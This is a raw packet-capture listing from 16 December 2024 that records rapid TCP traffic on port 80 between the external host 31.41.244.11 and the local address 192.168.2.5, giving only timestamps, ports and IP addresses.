Dec 16, 2024 09:01:16.245513916 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.245569944 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.245624065 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.245680094 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.246535063 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.246588945 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.246660948 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.246716022 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.247534990 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.247591972 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.247667074 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.247724056 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.248512030 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.248559952 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.248629093 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.248680115 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.249555111 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.249613047 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.249676943 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.249727964 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.250535965 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.250591993 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.250653028 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.250705957 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.251514912 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.251586914 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.251595020 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.251647949 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.252489090 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.252545118 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.252608061 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.252659082 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.253521919 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.253559113 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.253576994 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.253606081 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.254465103 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.254520893 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.254566908 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.254618883 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.255476952 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.255533934 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.255584955 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.255642891 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.256454945 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.256516933 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.256586075 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.256664991 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.257524967 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.257558107 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.257584095 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.257599115 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.258517981 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.258588076 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.258847952 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.258907080 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.259532928 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.259597063 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.259640932 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.259686947 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.260503054 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.260556936 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.260616064 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.260667086 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.261502028 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.261538982 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.261557102 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.261585951 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.402043104 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.402107000 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.402152061 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.402276993 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.402470112 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.402513981 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.402559042 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.402611971 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.403450012 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.403508902 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.403554916 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.403603077 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.404501915 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.404560089 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.404742956 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.404789925 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.404864073 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.404916048 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.405776978 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.405836105 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.405865908 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.405920029 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.406820059 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.406878948 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.406979084 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.407033920 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.407763004 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.407815933 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.407830954 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.407881975 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.408730030 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.408786058 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.408832073 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.408890009 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.409756899 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.409811974 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.409854889 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.409908056 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.410748005 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.410809040 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.410939932 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.410991907 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.411725998 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.411766052 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.411786079 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.411819935 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.412718058 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.412770987 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.412828922 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.412885904 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.413753033 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.413806915 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.413888931 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.413947105 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.414794922 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.414830923 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.414846897 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.414882898 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.415760994 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.415831089 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.415909052 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.415956974 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.416882038 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.416938066 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.416981936 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.417027950 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.417819023 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.417870998 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.417920113 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.417964935 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.418677092 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.418728113 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.418838978 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.418885946 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.419722080 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.419825077 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.419939995 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.420753002 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.420813084 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.420836926 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.420881987 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.421705961 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.421756983 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.421797991 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.421843052 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.422683001 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.422739029 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.422879934 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.422928095 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.423681974 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.423734903 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.423782110 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.423837900 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.424705029 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.424761057 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.424801111 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.424849987 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.425681114 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.425730944 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.425806999 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.425853968 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.426687002 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.426742077 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.426788092 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.426836967 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.427678108 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.427728891 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.427746058 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.427793980 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.428704977 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.428759098 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.428862095 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.428914070 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.429795027 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.429811954 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.429848909 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.429877043 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.430658102 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.430710077 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.430763006 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.430821896 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.431647062 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.431699991 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.431747913 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.431792974 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.432701111 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.432749987 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.432898045 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.432938099 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.433646917 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.433710098 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.433777094 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.433829069 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.434822083 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.434880018 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.434901953 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.434954882 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.435628891 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.435682058 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.435720921 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.435764074 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.436667919 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.436722994 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.436768055 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.436819077 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.437704086 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.437764883 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.437796116 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.437846899 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.438625097 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.438684940 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.438724995 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.438775063 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.439614058 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.439666986 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.439713955 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.439763069 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.440614939 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.440666914 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.440712929 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.440761089 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.441602945 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.441659927 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.441701889 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.441750050 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.442651987 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.442704916 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.442718029 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.442765951 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.443592072 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.443643093 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.443694115 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.443746090 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.444605112 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.444657087 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.444739103 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.444788933 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.445580006 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.445628881 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.445710897 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.445765018 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.446585894 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.446641922 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.446693897 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.446752071 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.447619915 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.447686911 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.447734118 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.447787046 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.448575974 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.448630095 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.448699951 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.448754072 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.449563980 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.449620962 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.449681044 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.449731112 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.450582981 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.450638056 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.450676918 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.450728893 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.451565981 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.451626062 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.451630116 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.451682091 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.452553034 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.452605963 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.452653885 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.452703953 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.453560114 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.453613997 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.453659058 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.453716993 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.594268084 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.594341993 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.594358921 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.594396114 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.594695091 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.594842911 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.594923973 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.595691919 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.595757008 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.595856905 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.595906973 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.596697092 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.596748114 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.597057104 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.597107887 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.597265005 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.597331047 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.598021030 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.598079920 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.598196983 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.598246098 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.599026918 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.599082947 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.599189997 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.599240065 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.600065947 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.600102901 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.600116014 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.600147009 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.601033926 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.601099968 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.601113081 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.601161957 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.602267027 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.602329016 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.602351904 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.602389097 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.602966070 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.603028059 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.603058100 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.603116989 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.603986979 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.604051113 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.604083061 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.604130030 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.605072021 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.605124950 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.605199099 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.605254889 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.605967045 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.606034040 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.606081963 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.606131077 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.606972933 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.607029915 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.607194901 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.607247114 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.608012915 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.608041048 CET	80	49817	31.41.244.11	192.168.2.5
